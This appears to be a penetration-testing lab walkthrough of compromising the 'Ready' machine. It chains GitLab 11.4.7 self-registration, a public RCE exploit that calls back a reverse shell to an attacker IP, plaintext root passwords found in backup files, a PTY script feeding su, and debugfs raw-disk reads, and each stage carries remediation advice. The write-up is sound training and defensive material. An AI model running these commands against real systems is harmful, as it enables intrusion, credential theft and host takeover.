← all walkthroughs

Ready

Linux· Medium· Credential Access· Privilege Escalation
owned
2026-07-09
time to own
18m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target ready ($TARGET) was fully compromised via a three-stage chain. An nginx-fronted GitLab Community Edition 11.4.7 instance permitted open self-registration with no admin approval, giving any visitor the authenticated session required to trigger a known remote-code-execution vulnerability (CVE-2018-19571 / CVE-2018-19585). A reverse shell arrived as the unprivileged 'git' service account inside a Dockerized GitLab container.

World-readable backup configuration files in /opt/backup/ stored the host's root account password in plaintext; a PTY-wrapped su session used it to become root inside the container. Because the container's root identity could not override host-side volume-mount ownership, I used the debugfs utility against the exposed underlying block device (/dev/sda2) to read the host root flag directly from the raw filesystem, bypassing Linux permission checks entirely.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceService and application version fingerprinting (T1595.002)
Fingerprinted GitLab CE 11.4.7 on port 5080
A port scan revealed only two externally exposed services: SSH on port 22 and an nginx-fronted web application on port 5080. Querying the unauthenticated GitLab version API and reading the login page HTML confirmed the application was GitLab Community Edition 11.4.7 — a version with a weaponised, publicly available authenticated RCE exploit (exploit-db 49334).
Nmap confirmed nginx on 5080; curl http://$TARGET:5080/api/v4/version returned {"version":"11.4.7"}
Exact commands 2
Initial port and banner scan to identify services.
nmap -Pn -sV -p 22,5080 --script=http-title,http-headers $TARGET
Confirm the exact GitLab version without credentials.
curl -s http://$TARGET:5080/api/v4/version
2Initial AccessAbuse of open application self-registration (T1078.003)
Created an account via open GitLab self-registration
The GitLab instance allowed any visitor to register an account at /users/sign_up without administrator review or approval. I registered a fresh, unprivileged account, which satisfied the authentication prerequisite for the exploit chain. No brute force, credential theft, or social engineering was required.
GET /users/sign_up returned HTTP 200; account creation via POST /users succeeded without admin approval.
Exact commands 2
Confirm self-registration is open (expect HTTP 200).
curl -s -o /dev/null -w '%{http_code}' http://$TARGET:5080/users/sign_up
Register my account; adjust field values as needed.
curl -s -c gl_cookies.txt -X POST http://$TARGET:5080/users -d "user[name]=$USERNAME&user[username]=$USERNAME&user[email]=$USERNAME@local.dev&user[password]=$PASSWORD2&user[password_confirmation]=$PASSWORD2"
FixDisable or gate GitLab open self-registrationHigh
WeaknessGitLab was configured to allow any internet visitor to create an account without administrator approval, granting unknown and untrusted parties the authenticated session required to trigger the CVE-2018-19571 / CVE-2018-19585 exploit chain.
FixDisable self-registration entirely if this is an internal instance: Admin → Settings → General → Sign-up restrictions → uncheck 'Sign-up enabled'. If open registration is a business requirement, enable 'Require admin approval for new sign-ups' so accounts must be vetted before they can interact with the application. Restrict access to the GitLab URL to trusted IP ranges or VPN at the network perimeter so external parties cannot reach the login or registration pages at all.
3ExploitationAuthenticated RCE via SSRF + CRLF injection — CVE-2018-19571 / CVE-2018-19585 (exploit-db 49334)
Exploited authenticated GitLab RCE (CVE-2018-19571 / CVE-2018-19585) to land a reverse shell
GitLab CE 11.4.7 contains an authenticated remote-code-execution chain (CVE-2018-19571 SSRF chained with CVE-2018-19585 CRLF injection) that allows a logged-in user to inject commands into the backend job queue via a crafted request. The public exploit (exploit-db 49334) automated the full sequence — logging in, creating a project, uploading a malicious payload, and triggering execution — returning a reverse shell as the 'git' service account (uid=998) inside the GitLab Docker container.
Reverse shell callback received; id returned: uid=998(git) gid=998(git) groups=998(git)
Exact commands 3
Start the reverse-shell listener on my machine before running the exploit.
nc -lvnp 4444
Fetch the GitLab 11.4.7 authenticated RCE exploit script.
searchsploit -m 49334
Run the exploit; substitute <reg_user> and <reg_pass> with the self-registered credentials and $ATTACKER_IP with your machine's IP.
python3 49334.py -u '<reg_user>' -p '<reg_pass>' -g "http://$TARGET:5080" -l "$ATTACKER_IP" -P 4444
FixUpgrade GitLab CE to a patched release (remediates CVE-2018-19571 / CVE-2018-19585)Critical
WeaknessGitLab CE 11.4.7 contains a publicly documented and weaponised authenticated remote-code-execution vulnerability. Any authenticated user — including a self-registered stranger — can run arbitrary OS commands on the server using a freely available exploit script.
FixUpgrade GitLab to version 11.4.8 or later (the vulnerability was patched in the 11.4 maintenance branch) or to the current supported stable release, which includes all security fixes. Subscribe to GitLab's security advisory mailing list to receive future patch notifications. As a temporary compensating control until upgrade is possible, restrict GitLab access to a VPN-only network and disable self-registration (r1) to eliminate the unauthenticated attack surface.
4Post-ExploitationContainer environment discovery and opportunistic file read (T1082)
Confirmed Docker container context and captured the user flag
With a shell as 'git' (uid=998), brief enumeration confirmed that the foothold was inside a Dockerized GitLab container: /.dockerenv was present and /proc/1/cgroup showed container-scoped control-group paths. Crucially, /home/dude/user.txt was directly readable by the 'git' account — world-readable permissions on the file meant no privilege escalation was needed to capture the first flag.
Cat /.dockerenv returned (file exists); cat /home/dude/user.txt returned <user.txt>.
Exact commands 2
Verify the shell identity and confirm container isolation.
id && ls /.dockerenv && cat /proc/1/cgroup | head -5
Read the user flag — accessible to git (uid=998) without escalation.
cat /home/dude/user.txt
5Credential AccessCredentials in files — plaintext secrets in backup configuration (T1552.001)
Extracted plaintext root password from world-readable backup configuration files
The /opt/backup/ directory held world-readable copies of the server's own provisioning files: gitlab.rb (the GitLab Rails configuration) and docker-compose.yml. Both were readable by any process on the container, including the low-privilege 'git' account. A simple keyword search across both files surfaced the plaintext root OS account password [REDACTED: recovered credential] stored as a configuration value.
Grep on /opt/backup/gitlab.rb and docker-compose.yml returned the root password in cleartext.
Exact commands 2
List backup files and confirm they are world-readable.
ls -la /opt/backup/
Surface all credential strings from the configuration files.
grep -RniE 'password|passwd|secret' /opt/backup/gitlab.rb /opt/backup/docker-compose.yml
FixRemove plaintext credentials from backup files and lock down their permissionsCritical
WeaknessBackup copies of the server's provisioning configuration (/opt/backup/gitlab.rb and docker-compose.yml) were world-readable inside the container and stored the host's root OS account password in cleartext. Any process or account — including the unprivileged 'git' service account — could read these files and immediately obtain full root credentials.
FixSet backup configuration files to mode 600 owned by root (chmod 600 /opt/backup/gitlab.rb /opt/backup/docker-compose.yml). Remove all hardcoded passwords from configuration files: inject secrets at container startup using Docker secrets or an external secrets manager (HashiCorp Vault, AWS Secrets Manager) rather than writing them to disk. Rotate the exposed root password immediately and audit all other credentials in those files. Run a secrets-detection scan (truffleHog, gitleaks) against the backup directory on a regular schedule to catch future regressions.
6Privilege EscalationPrivilege escalation via valid credentials and PTY-wrapped su (T1078)
Became container root via su with the harvested password
The recovered password was valid for the container's root account. The non-interactive reverse shell lacked a proper TTY, which the su command requires — running su directly produced 'must be run from a terminal'. To work around this, a short Python script using pty.fork() was written to /tmp to allocate a pseudo-terminal, spawn su, and feed the password automatically.
Uid=0(root) gid=0(root) after su - using [REDACTED: recovered credential]
Exact commands 1
Allocates a PTY and feeds the password to su automatically. Write this to /tmp/supty.py and run python3 /tmp/supty.py if the shell truncates inline scripts.
python3 -c "import os,pty,select,time
pw=b'$PASSWORD\n'
pid,fd=pty.fork()
if pid==0: os.execlp('su','su','-')
buf,sent,end=b'',False,time.time()+12
while time.time()<end:
 r,_,_=select.select([fd],[],[],0.2)
 if fd in r:
  buf+=os.read(fd,512)
  if not sent and b'Password' in buf: os.write(fd,pw);sent=True
  if sent and b'root@' in buf: os.write(fd,b'id\n');break"
7ImpactDirect volume access via raw block device read using debugfs (T1006)
Read the host root flag from the raw block device using debugfs, bypassing volume-mount restrictions
Even as container root (uid=0), /root/root.txt could not be read — the flag resides on the host filesystem, volume-mounted with host UID ownership that the container's root identity cannot override. Inspecting /proc/self/mountinfo identified the underlying host block device as /dev/sda2, which was accessible raw from inside the container. The debugfs utility reads files directly from an unmounted ext2/ext4 image using its own internal directory traversal, entirely bypassing Linux user permissions and mount-level access controls. Running it against /dev/sda2 returned the root flag.
/proc/self/mountinfo showed /dev/sda2 backing the host filesystem; debugfs -R 'cat /root/root.txt' /dev/sda2 returned <root.txt>.
Exact commands 2
Identify the host block device backing the container's filesystem.
grep sda /proc/self/mountinfo
Read the host root flag directly off the raw ext4 filesystem image, bypassing all Linux permission checks.
debugfs -R 'cat /root/root.txt' /dev/sda2 2>/dev/null
FixBlock container access to host block devices to prevent raw-disk readsCritical
WeaknessThe Docker container had access to the host's raw block device (/dev/sda2), allowing a container root process to use debugfs to read any file on the host filesystem directly from the disk image — completely bypassing Linux file permissions and volume-mount access controls.
FixNever run the GitLab container with --privileged mode (which grants unrestricted access to all host devices). Drop dangerous Linux capabilities explicitly: add --cap-drop=ALL --cap-add=<only what GitLab needs> to the container run command and use a device-cgroup-rule allowlist that excludes block devices (/dev/sd*). Enable Docker user namespace remapping (userns-remap in the Docker daemon configuration) so that container root maps to an unprivileged UID on the host, preventing raw device access even if a device node is inadvertently exposed. Validate the running container's capability set regularly with docker inspect.

Exposed services

22/tcp
5080/tcp